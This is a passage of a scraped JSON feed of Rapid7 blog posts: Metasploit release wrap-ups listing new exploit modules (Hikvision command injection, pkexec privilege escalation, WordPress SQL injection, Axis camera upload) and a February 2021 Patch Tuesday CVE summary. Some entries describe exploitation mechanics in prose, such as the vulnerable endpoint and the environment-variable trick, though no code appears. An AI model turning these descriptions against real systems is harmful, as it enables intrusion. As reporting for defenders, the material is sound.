Berkan Er, which exploits [CVE-2021-3378](<https://attackerkb.com/topics/eTyHVvBtiM/cve-2021-3378?referrer=blog>), an unauthenticated arbitrary file upload vulnerability in FortiLogger 4.4.2.2.\n\n * [Win32k ConsoleControl Offset Confusion](<https://github.com/rapid7/metasploit-framework/pull/14907>) by BITTER APT, JinQuan, KaLendsi, LiHao, MaDongZe, Spencer McIntyre, and TuXiaoYi, which exploits [CVE-2021-1732](<https://attackerkb.com/topics/7eGGM4Xknz/cve-2021-1732?referrer=blog>), an LPE vulnerability in win32k.\n\n## Enhancements and features\n\n * [#14878](<https://github.com/rapid7/metasploit-framework/pull/14878>) from [jmartin-r7](<https://github.com/jmartin-r7>) The recently introduced Zeitwerk loader is now wrapped and retained in a more flexible way. Additionally `lib/msf_autoload.rb` is now marked as a singleton class to ensure that only one instance of the loader can exist at any one time. The loading process has also been broken down into separate methods to allow for additional tweaking, extension, and suppression as needed.\n\n * [#14893](<https://github.com/rapid7/metasploit-framework/pull/14893>) from [archcloudlabs](<https://github.com/archcloudlabs>) `avast_memory_dump.rb` has been updated with additional paths to check for the `avdump.exe` utility, which should help Metasploit users in cases where the tool is bundled in with other Avast software besides the standard AV solution.\n\n * [#14917](<https://github.com/rapid7/metasploit-framework/pull/14917>) from [pingport80](<https://github.com/pingport80>) The `search` command has been updated to add in the `-s` and `-r` flags. The `-s` flag allows one to search by rank, disclosure date, module name, module type, or if the module implements a check method or not. The results will be ordered in ascending order, however users can show the results in descending order by using the `-r` flag.\n\n * [#14927](<https://github.com/rapid7/metasploit-framework/pull/14927>) from [pingport80](<https://github.com/pingport80>) The Ruby scripts under `tools/exploits/*` have been rewritten so that they capture signals and handle them gracefully instead of stack tracing.\n\n * [#14938](<https://github.com/rapid7/metasploit-framework/pull/14938>) from [adfoster-r7](<https://github.com/adfoster-r7>) The `time` command has been added to `msfconsole` to allow developers to time how long certain commands take to execute.\n\n## Bugs Fixed\n\n * [#14430](<https://github.com/rapid7/metasploit-framework/pull/14430>) from [cn-kali-team](<https://github.com/cn-kali-team>) Provides feedback to the user when attempting to use UUID tracking without a DB connection.\n\n * [#14815](<https://github.com/rapid7/metasploit-framework/pull/14815>) from [cgranleese-r7](<https://github.com/cgranleese-r7>) Replaces deprecated uses of `::Rex:Socket.gethostbyname` in favor of the newer `::Rex::Socket.getaddress` functionality in preparation of Ruby 3 support.\n\n * [#14844](<https://github.com/rapid7/metasploit-framework/pull/14844>) from [dwelch-r7](<https://github.com/dwelch-r7>) This moves the on_session_open event until after the session has been bootstrapped which is necessary to expose some functionality required by plugins such as auto_add_route.\n\n * [#14879](<https://github.com/rapid7/metasploit-framework/pull/14879>) from [cgranleese-r7](<https://github.com/cgranleese-r7>) The `ssh_login_pubkey.rb` module has been updated to support specifying the path to a private key for the `KEY_PATH` option, and to improve error handling in several places to reduce stack traces and make error messages are more understandable.\n\n * [#14896](<https://github.com/rapid7/metasploit-framework/pull/14896>) from [AlanFoster](<https://github.com/AlanFoster>) The `apache_activemq_upload_jsp` exploit has been updated so that it can successfully exploit vulnerable systems running Java 8. Additionally, module documentation has been added.\n\n * [#14910](<https://github.com/rapid7/metasploit-framework/pull/14910>) from [friedrico](<https://github.com/friedrico>) `filezilla_client_cred.rb` has been updated to prevent it from falsely identifying strings as being Base64 encoded when they are not. The new code now checks that the string is marked as being Base64 encoded before attempting to decode it.\n\n * [#14912](<https://github.com/rapid7/metasploit-framework/pull/14912>) from [bcoles](<https://github.com/bcoles>) The `netgear_r6700_pass_reset.rb` module has been updated to fix a typo that could occasionally cause the `check` function to fail, and to fix a stack trace caused by calling a method on a `nil` object.\n\n * [#14930](<https://github.com/rapid7/metasploit-framework/pull/14930>) from [adfoster-r7](<https://github.com/adfoster-r7>) This fixes a bug where the highlighting in msfconsole's search command would break when the search term was certain single letter queries.\n\n * [#14934](<https://github.com/rapid7/metasploit-framework/pull/14934>) from [timwr](<https://github.com/timwr>) A bug has been addressed whereby the `download` command in Meterpreter, if run on a directory containing UTF-8 characters, would result in an error. This has been resolved by enforcing the correct encoding.\n\n * [#14941](<https://github.com/rapid7/metasploit-framework/pull/14941>) from [dwelch-r7](<https://github.com/dwelch-r7>) The `smb_relay` module has been updated to force the use of `Rex::Proto::SMB::Client`, which fixes several issues that were being encountered due to the module accidentally using `ruby_smb` vs `Rex::Proto::SMB::Client`.\n\n## Get it\n\nAs always, you can update to the latest Metasploit Framework with `msfupdate` and you can get more details on the changes since the last blog post from\n\nGitHub:\n\n * [Pull Requests 6.0.36...6.0.37](<https://github.com/rapid7/metasploit-framework/pulls?q=is:pr+merged:%222021-03-18T09%3A30%3A28-05%3A00..2021-03-25T11%3A07%3A15-05%3A00%22>)\n * [Full diff 6.0.36...6.0.37](<https://github.com/rapid7/metasploit-framework/compare/6.0.36...6.0.37>) \nIf you are a `git` user, you can clone the [Metasploit Framework repo](<https://github.com/rapid7/metasploit-framework>) (master branch) for the latest.\n\nTo install fresh without using git, you can use the open-source-only [Nightly Installers](<https://github.com/rapid7/metasploit-framework/wiki/Nightly-Installers>) or the \n[binary installers](<https://www.rapid7.com/products/metasploit/download.jsp>) (which also include the commercial edition).", "cvss3": {}, "published": "2021-03-26T17:36:13", "type": "rapid7blog", "title": "Metasploit Wrap-Up", "bulletinFamily": "info", "cvss2": {}, "cvelist": ["CVE-2021-1732", "CVE-2021-21978", "CVE-2021-22652", "CVE-2021-26855", "CVE-2021-27065", "CVE-2021-3378"], "modified": "2021-03-26T17:36:13", "id": "RAPID7BLOG:D435EE51E7D9443C43ADC937A046683C", "href": "https://blog.rapid7.com/2021/03/26/metasploit-wrap-up-104/", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2022-03-04T23:28:17", "description": "![Metasploit Weekly Wrap-Up](https://blog.rapid7.com/content/images/2022/03/metasploit-fence.png)\n\nThis week\u2019s Metasploit Framework release brings us seven new modules.\n\n## IP Camera Exploitation\n\nRapid7\u2019s [Jacob Baines](<https://github.com/jbaines-r7>) was busy this week with two exploit modules that target IP cameras. The [first](<https://github.com/rapid7/metasploit-framework/pull/16190>) module exploits an authenticated file upload on Axis IP cameras. Due to lack of proper sanitization, an attacker can upload and install an `eap` application which, when executed, will grant the attacker `root` privileges on the device. This vulnerability, discovered by Baines in 2017, has yet to be patched.\n\nThe [second](<https://github.com/rapid7/metasploit-framework/pull/16204>) module exploits an unauthenticated command injection [vulnerability](<https://attackerkb.com/topics/mb8q72U2LT/cve-2021-36260?referrer=blog>) in a number of Hikvision IP cameras. A `PUT` request to the `/SDK/webLanguage` endpoint passes the contents of its request body\u2019s `<language>` tag to `snprintf()`, which then passes its resultant data to a call to `system()`, resulting in code execution with `root` privileges. This vulnerability has been [reported](<https://www.fortinet.com/blog/threat-research/mirai-based-botnet-moobot-targets-hikvision-vulnerability>) as exploited in the wild.\n\n## Privilege Escalation in pkexec\n\nCommunity contributor [RootUp](<https://github.com/RootUp>) submitted a [module](<https://github.com/rapid7/metasploit-framework/pull/16103>) that exploits a privilege escalation [vulnerability](<https://attackerkb.com/topics/JGooJTBk81/cve-2021-4034?referrer=blog>) in Polkit\u2019s `pkexec` utility, an SUID binary that is present on most major Linux distributions. Additionally, this vulnerability has likely existed in `pkexec` since [2009](<https://www.qualys.com/2022/01/25/cve-2021-4034/pwnkit.txt>).\n\nAny user can escalate their privileges to `root` by exploiting an out-of-bounds read and write that exists in `pkexec`\u2019s executable path-finding logic. The logic always assumes that an argument is passed to `pkexec`, resulting in a read of the data that follows arguments in memory. Environment variables follow program arguments, so `pkexec` reads the first environment variable, resolves its full path, and replaces the environment variable with the full path. Leveraging the `GCONV_PATH` environment variable coerces `pkexec` into loading arbitrary libraries, leading to escalation of privileges.\n\n## New module content (7)\n\n * [WordPress Modern Events Calendar SQLi Scanner](<https://github.com/rapid7/metasploit-framework/pull/16131>) by Hacker5preme (Ron Jost), h00die, and red0xff, which exploits [CVE-2021-24946](<https://attackerkb.com/topics/afV2x8poTz/cve-2021-24946?referrer=blog>) \\- This exploits an unauthenticated SQL injection vulnerability in the Modern Events Calendar plugin for Wordpress.\n\n * [Wordpress Secure Copy Content Protection and Content Locking sccp_id Unauthenticated SQLi](<https://github.com/rapid7/metasploit-framework/pull/16182>) by Hacker5preme (Ron Jost), Krzysztof Zaj\u0105c (kazet), and h00die, which exploits [CVE-2021-24931](<https://attackerkb.com/topics/j2W7NOa1jw/cve-2021-24931?referrer=blog>) \\- A new module has been added to exploit CVE-2021-24931, an unauthenticated SQLi vulnerability in the `sccp_id` parameter of the `ays_sccp_results_export_file` AJAX action in Secure Copy Content Protection and Content Locking WordPress plugin versions before 2.8.2. Successful exploitation allows attackers to dump usernames and password hashes from the `wp_users` table which can then be cracked offline to gain valid login credentials for the affected WordPress installation.\n\n * [Axis IP Camera Application Upload](<https://github.com/rapid7/metasploit-framework/pull/16190>) by jbaines-r7 - The "Apps'' feature in Axis IP cameras allow allows third party developers to upload and execute 'eap' applications on the device, however no validation is performed to ensure the application comes from a trusted source. This module takes advantage of this vulnerability to allow authenticated attackers to upload and execute malicious applications and gain RCE. Once the application has been installed and the shell has been obtained, the module will then automatically delete the malicious application. No CVE is assigned to this issue as a patch has not been released as of the time of writing.\n\n * [Hikvision IP Camera Unauthenticated Command Injection](<https://github.com/rapid7/metasploit-framework/pull/16204>) by Watchful_IP, bashis, and jbaines-r7, which exploits [CVE-2021-36260](<https://attackerkb.com/topics/mb8q72U2LT/cve-2021-36260?referrer=blog>) \\- This module exploits an unauthenticated command injection in a variety of Hikvision IP cameras (CVE-2021-36260). The module inserts a command into an XML payload used with an HTTP PUT request sent to the /SDK/webLanguage endpoint, resulting in command execution as the root user.\n\n * [Local Privilege Escalation in polkits pkexec](<https://github.com/rapid7/metasploit-framework/pull/16103>) by Andris Raugulis, Dhiraj Mishra, Qualys Security, and bwatters-r7, which exploits [CVE-2021-4034](<https://attackerkb.com/topics/JGooJTBk81/cve-2021-4034?referrer=blog>) \\- This adds an LPE exploit for CVE-2021-4034 which leverages an out-of-bounds read and write in polkit's pkexec utility. It also adds support to Metasploit for generating Linux SO library payloads for the AARCH64 architecture.\n\n * [Firefox MCallGetProperty Write Side Effects Use After Free Exploit](<https://github.com/rapid7/metasploit-framework/pull/16185>) by 360 ESG Vulnerability Research Institute, maxpl0it, and timwr, which exploits [CVE-2020-26950](<https://attackerkb.com/topics/NuuSBUKQIb/cve-2020-26950?referrer=blog>) \\- This adds a module for CVE-2020-26950, a use after free browser exploit targeting Firefox and Thunderbird.\n\n * [#16202](<https://github.com/rapid7/metasploit-framework/pull/16202>) from [zeroSteiner](<https://github.com/zeroSteiner>) \\- This adds an exploit for [CVE-2022-21882](<https://github.com/advisories/GHSA-m3vx-53cf-jqv4>) which is a patch bypass for [CVE-2021-1732](<https://attackerkb.com/topics/7eGGM4Xknz/cve-2021-1732?referrer=blog>). It updates and combines both techniques into a single mega-exploit module that will use the updated technique as necessary. No configuration is necessary outside of the SESSION and payload datastore options.\n\n## Bugs fixed\n\n * [#16228](<https://github.com/rapid7/metasploit-framework/pull/16228>) from [zeroSteiner](<https://github.com/zeroSteiner>) \\- This fixes a bug where the framework failed to check if a payload would fit in the space defined by an exploit if the payload was not encoded.\n * [#16235](<https://github.com/rapid7/metasploit-framework/pull/16235>) from [bcoles](<https://github.com/bcoles>) \\- This change fixes an issue with APK injection when in some configurations an invalid apktool version string would cause injection to fail.\n * [#16251](<https://github.com/rapid7/metasploit-framework/pull/16251>) from [zeroSteiner](<https://github.com/zeroSteiner>) \\- This fixes an error when executing commands using the Python Meterpreter where not all results were returned to msfconsole.\n * [#16254](<https://github.com/rapid7/metasploit-framework/pull/16254>) from [heyder](<https://github.com/heyder>) \\- This fixes an issue in the Shodan search module where recent changes to randomize the user agent were causing the results returned to the module to be in an unexpected format.\n * [#16255](<https://github.com/rapid7/metasploit-framework/pull/16255>) from [zeroSteiner](<https://github.com/zeroSteiner>) \\- This fixes a parsing issue with kiwi_cmd arguments which contained spaces, such as `kiwi_cmd 'base64 /in:off /out:off'`.\n * [#16257](<https://github.com/rapid7/metasploit-framework/pull/16257>) from [bcoles](<https://github.com/bcoles>) \\- This change adds a warning when a user tries to inject the Android payload into an APK using an older version of apktool.\n * [#16264](<https://github.com/rapid7/metasploit-framework/pull/16264>) from [bwatters-r7](<https://github.com/bwatters-r7>) \\- This fixes a crash when attempting to create create local module documentation with the `info -d` command when the provided GitHub credentials were invalid.\n * [#16266](<https://github.com/rapid7/metasploit-framework/pull/16266>) from [smashery](<https://github.com/smashery>) \\- This fixes bugs in how `msfconsole` tab-completes directory paths.\n\n## Get it\n\nAs always, you can update to the latest Metasploit Framework with `msfupdate` \nand you can get more details on the changes since the last blog post from \nGitHub:\n\n * [Pull Requests 6.1.31...6.1.32](<https://github.com/rapid7/metasploit-framework/pulls?q=is:pr+merged:%222022-02-24T11%3A00%3A46-06%3A00..2022-03-03T12%3A00%3A18-05%3A00%22>)\n * [Full diff 6.1.31...6.1.32](<https://github.com/rapid7/metasploit-framework/compare/6.1.31...6.1.32>)\n\nIf you are a `git` user, you can clone the [Metasploit Framework repo](<https://github.com/rapid7/metasploit-framework>) (master branch) for the latest. \nTo install fresh without using git, you can use the open-source-only [Nightly Installers](<https://github.com/rapid7/metasploit-framework/wiki/Nightly-Installers>) or the \n[binary installers](<https://www.rapid7.com/products/metasploit/download.jsp>) (which also include the commercial edition).", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2022-03-04T21:52:42", "type": "rapid7blog", "title": "Metasploit Weekly Wrap-Up", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.3, "vectorString": "AV:N/AC:M/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2020-26950", "CVE-2021-1732", "CVE-2021-24931", "CVE-2021-24946", "CVE-2021-36260", "CVE-2021-4034", "CVE-2022-21882"], "modified": "2022-03-04T21:52:42", "id": "RAPID7BLOG:4BFD931715758C7B7E2711A580BFEA5E", "href": "https://blog.rapid7.com/2022/03/04/metasploit-wrap-up-150/", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2021-02-10T00:48:57", "description": "![Patch Tuesday - February 2021](https://blog.rapid7.com/content/images/2021/02/patches-2.jpg)\n\nThe second Patch Tuesday of 2021 is relatively light on the vulnerability count, with 64 CVEs being addressed across the majority of Microsoft\u2019s product families. Despite that, there\u2019s still plenty to discuss this month.\n\n### Vulnerability Breakdown by Software Family\n\nFamily | Vulnerability Count \n---|--- \nWindows | 28 \nESU | 14 \nMicrosoft Office | 11 \nBrowser | 9 \nDeveloper Tools | 8 \nMicrosoft Dynamics | 2 \nExchange Server | 2 \nAzure | 2 \nSystem Center | 2 \n \n### Exploited and Publicly Disclosed Vulnerabilities\n\nOne zero-day was announced: [CVE-2021-1732](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-1732>) is a privilege elevation vulnerability affecting the Win32k component of Windows 10 and Windows Server 2019, reported to be exploited in the wild. Four vulnerabilities have been previously disclosed: [CVE-2021-1727](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-1727>), a privilege elevation vulnerability in Windows Installer, affecting all supported versions of Windows; [CVE-2021-24098](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-24098>), which is a denial of service (DoS) affecting Windows 10 and Server 2019; [CVE-2021-24106](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-24106>), an information disclosure vulnerability affecting DirectX in Windows 10 and Server 2019; and [CVE-2021-26701](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-26701>), an RCE in .NET Core.\n\n### Vulnerabilities in Windows TCP/IP\n\nMicrosoft also disclosed a set of [three serious vulnerabilities](<https://msrc-blog.microsoft.com/2021/02/09/multiple-security-updates-affecting-tcp-ip/>) affecting the TCP/IP networking stack in all supported versions of Windows. Two of these ([CVE-2021-24074](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-24074>) and [CVE-2021-24094](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-24094>)) carry a base CVSSv3 score of 9.8 and could allow Remote Code Execution (RCE). [CVE-2021-24094](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-24094>) is specific to IPv6 link-local addresses, meaning it isn\u2019t exploitable over the public internet. [CVE-2021-24074](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-24074>), however, does not have this limitation. The third, [CVE-2021-24086](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-24086>), is a DoS vulnerability that could allow an attacker to trigger a \u201cblue screen of death\u201d on any Windows system that is directly exposed to the internet, using only a small amount of network traffic. The RCE exploits are probably not a threat in the short term, due to the complexity of the vulnerabilities, but DoS attacks are expected to be seen much more quickly. Windows systems should be patched as soon as possible to protect against these.\n\nIn the event a patch cannot be applied immediately, such as on systems that cannot be rebooted, Microsoft has published mitigation guidance that will protect against exploitation of the TCP/IP vulnerabilities. Depending on the exposure of an asset, IPv4 Source Routing should be disabled via a Group Policy or a Netsh command, and IPv6 packet reassembly should be disabled via a separate Netsh command. IPv4 Source Routing requests and IPv6 fragments can also be blocked load balancers, firewalls, or other edge devices to mitigate these issues.\n\n### Zerologon Update\n\nBack in August, 2020, Microsoft addressed a critical remote code vulnerability (CVE-2020-1472) affecting the Netlogon protocol (MS-NRPC), a.k.a. \u201c[Zerologon](<https://blog.rapid7.com/2020/09/14/cve-2020-1472-zerologon-critical-privilege-escalation/>)\u201d. In October, Microsoft [noted](<https://msrc-blog.microsoft.com/2020/10/29/attacks-exploiting-netlogon-vulnerability-cve-2020-1472/>) that attacks which exploit this weakness have been seen in the wild. On January 14, 2021, they [reminded](<https://msrc-blog.microsoft.com/2021/01/14/netlogon-domain-controller-enforcement-mode-is-enabled-by-default-beginning-with-the-february-9-2021-security-update-related-to-cve-2020-1472/>) organizations that the February 2021 security update bundle will also be enabling \u201cDomain Controller enforcement mode\" by default to fully address this weakness. Any system that tries to make an insecure Netlogon connection will be denied access. Any business-critical process that relies on these insecure connections will cease to function. Rapid7 encourages all organizations to [heed the detailed guidance](<https://support.microsoft.com/en-us/topic/how-to-manage-the-changes-in-netlogon-secure-channel-connections-associated-with-cve-2020-1472-f7e8cc17-0309-1d6a-304e-5ba73cd1a11e#bkmk_detectingnon_compliant>) before applying the latest updates to ensure continued business process continuity.\n\n### Adobe\n\nMost important amongst the [six security advisories](<https://helpx.adobe.com/security.html>) published by Adobe today is [APSB21-09](<https://helpx.adobe.com/security/products/acrobat/apsb21-09.html>), detailing 23 CVEs affecting Adobe Acrobat and Reader. Six of these are rated Critical and allow Arbitrary Code Execution, and one of which (CVE-2021-21017), has been seen exploited in the wild in attacks targeting Adobe Reader users on Windows.\n\n### Summary Tables\n\n#### Azure Vulnerabilities\n\nCVE | Vulnerability Title | Exploited | Publicly Disclosed | CVSSv3 Base Score | FAQ? \n---|---|---|---|---|--- \n[CVE-2021-24109](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-24109>) | Microsoft Azure Kubernetes Service Elevation of Privilege Vulnerability | No | No | 6.8 | Yes \n[CVE-2021-24087](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-24087>) | Azure IoT CLI extension Elevation of Privilege Vulnerability | No | No | 7 | Yes \n \n#### Browser Vulnerabilities\n\nCVE | Vulnerability Title | Exploited | Publicly Disclosed | CVSSv3 Base Score | FAQ? \n---|---|---|---|---|--- \n[CVE-2021-24100](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-24100>) | Microsoft Edge for Android Information Disclosure Vulnerability | No | No | 5 | Yes \n[CVE-2021-24113](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-24113>) | Microsoft Edge (Chromium-based) Security Feature Bypass Vulnerability | No | No | 4.6 | Yes \n[CVE-2021-21148](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-21148>) | Chromium CVE-2021-21148: Heap buffer overflow in V8 | N/A | N/A | nan | Yes \n[CVE-2021-21147](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-21147>) | Chromium CVE-2021-21147: Inappropriate implementation in Skia | N/A | N/A | nan | Yes \n[CVE-2021-21146](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-21146>) | Chromium CVE-2021-21146: Use after free in Navigation | N/A | N/A | nan | Yes \n[CVE-2021-21145](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-21145>) | Chromium CVE-2021-21145: Use after free in Fonts | N/A | N/A | nan | Yes \n[CVE-2021-21144](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-21144>) | Chromium CVE-2021-21144: Heap buffer overflow in Tab Groups | N/A | N/A | nan | Yes \n[CVE-2021-21143](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-21143>) | Chromium CVE-2021-21143: Heap buffer overflow in Extensions | N/A | N/A | nan | Yes \n[CVE-2021-21142](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-21142>) | Chromium CVE-2021-21142: Use after free in Payments | N/A | N/A | nan | Yes \n \n#### Developer Tools Vulnerabilities\n\nCVE | Vulnerability Title | Exploited | Publicly Disclosed | CVSSv3 Base Score | FAQ? \n---|---|---|---|---|--- \n[CVE-2021-26700](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-26700>) | Visual Studio Code npm-script Extension Remote Code Execution Vulnerability | No | No | 7.8 | Yes \n[CVE-2021-1639](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-1639>) | Visual Studio Code Remote Code Execution Vulnerability | No | No | 7 | No \n[CVE-2021-1733](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-1733>) | Sysinternals PsExec Elevation of Privilege Vulnerability | No | Yes | 7.8 | Yes \n[CVE-2021-24105](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-24105>) | Package Managers Configurations Remote Code Execution Vulnerability | No | No | 8.4 | Yes \n[CVE-2021-24111](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-24111>) | .NET Framework Denial of Service Vulnerability | No | No | 7.5 | No \n[CVE-2021-1721](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-1721>) | .NET Core and Visual Studio Denial of Service Vulnerability | No | Yes | 6.5 | No \n[CVE-2021-26701](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-26701>) | .NET Core Remote Code Execution Vulnerability | No | Yes | 8.1 | Yes \n[CVE-2021-24112](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-24112>) | .NET Core Remote Code Execution Vulnerability | No | No | 8.1 | Yes \n \n#### ESU Windows Vulnerabilities\n\nCVE | Vulnerability Title | Exploited | Publicly Disclosed | CVSSv3 Base Score | FAQ? \n---|---|---|---|---|--- \n[CVE-2021-24080](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-24080>) | Windows Trust Verification API Denial of Service Vulnerability | No | No | 6.5 | No \n[CVE-2021-24074](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-24074>) | Windows TCP/IP Remote Code Execution Vulnerability | No | No | 9.8 | Yes \n[CVE-2021-24094](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-24094>) | Windows TCP/IP Remote Code Execution Vulnerability | No | No | 9.8 | Yes \n[CVE-2021-24086](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-24086>) | Windows TCP/IP Denial of Service Vulnerability | No | No | 7.5 | Yes \n[CVE-2021-1734](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-1734>) | Windows Remote Procedure Call Information Disclosure Vulnerability | No | No | 7.5 | Yes \n[CVE-2021-25195](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-25195>) | Windows PKU2U Elevation of Privilege Vulnerability | No | No | 7.8 | Yes \n[CVE-2021-24088](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-24088>) | Windows Local Spooler Remote Code Execution Vulnerability | No | No | 8.8 | No \n[CVE-2021-1727](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-1727>) | Windows Installer Elevation of Privilege Vulnerability | No | Yes | 7.8 | No \n[CVE-2021-24077](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-24077>) | Windows Fax Service Remote Code Execution Vulnerability | No | No | 9.8 | Yes \n[CVE-2021-1722](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-1722>) | Windows Fax Service Remote Code Execution Vulnerability | No | No | 8.1 | Yes \n[CVE-2021-24102](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-24102>) | Windows Event Tracing Elevation of Privilege Vulnerability | No | No | 7.8 | No \n[CVE-2021-24103](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-24103>) | Windows Event Tracing Elevation of Privilege Vulnerability | No | No | 7.8 | No \n[CVE-2021-24078](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-24078>) | Windows DNS Server Remote Code Execution Vulnerability | No | No | 9.8 | Yes \n[CVE-2021-24083](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-24083>) | Windows Address Book Remote Code Execution Vulnerability | No | No | 7.8 | No \n \n#### Exchange Server Vulnerabilities\n\nCVE | Vulnerability Title | Exploited | Publicly Disclosed | CVSSv3 Base Score | FAQ? \n---|---|---|---|---|--- \n[CVE-2021-24085](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-24085>) | Microsoft Exchange Server Spoofing Vulnerability | No | No | 6.5 | Yes \n[CVE-2021-1730](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-1730>) | Microsoft Exchange Server Spoofing Vulnerability | No | No | 5.4 | Yes \n \n#### Microsoft Dynamics Vulnerabilities\n\nCVE | Vulnerability Title | Exploited | Publicly Disclosed | CVSSv3 Base Score | FAQ? \n---|---|---|---|---|--- \n[CVE-2021-1724](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-1724>) | Microsoft Dynamics Business Central Cross-site Scripting Vulnerability | No | No | 6.1 | No \n[CVE-2021-24101](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-24101>) | Microsoft Dataverse Information Disclosure Vulnerability | No | No | 6.5 | Yes \n \n#### Microsoft Office Vulnerabilities\n\nCVE | Vulnerability Title | Exploited | Publicly Disclosed | CVSSv3 Base Score | FAQ? \n---|---|---|---|---|--- \n[CVE-2021-24073](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-24073>) | Skype for Business and Lync Spoofing Vulnerability | No | No | 6.5 | No \n[CVE-2021-24099](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-24099>) | Skype for Business and Lync Denial of Service Vulnerability | No | No | 6.5 | No \n[CVE-2021-24114](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-24114>) | Microsoft Teams iOS Information Disclosure Vulnerability | No | No | 5.7 | Yes \n[CVE-2021-1726](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-1726>) | Microsoft SharePoint Spoofing Vulnerability | No | No | 8 | Yes \n[CVE-2021-24072](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-24072>) | Microsoft SharePoint Server Remote Code Execution Vulnerability | No | No | 8.8 | No \n[CVE-2021-24066](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-24066>) | Microsoft SharePoint Remote Code Execution Vulnerability | No | No | 8.8 | Yes \n[CVE-2021-24071](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-24071>) | Microsoft SharePoint Information Disclosure Vulnerability | No | No | 5.3 | Yes \n[CVE-2021-24067](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-24067>) | Microsoft Excel Remote Code Execution Vulnerability | No | No | 7.8 | Yes \n[CVE-2021-24068](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-24068>) | Microsoft Excel Remote Code Execution Vulnerability | No | No | 7.8 | Yes \n[CVE-2021-24069](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-24069>) | Microsoft Excel Remote Code Execution Vulnerability | No | No | 7.8 | Yes \n[CVE-2021-24070](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-24070>) | Microsoft Excel Remote Code Execution 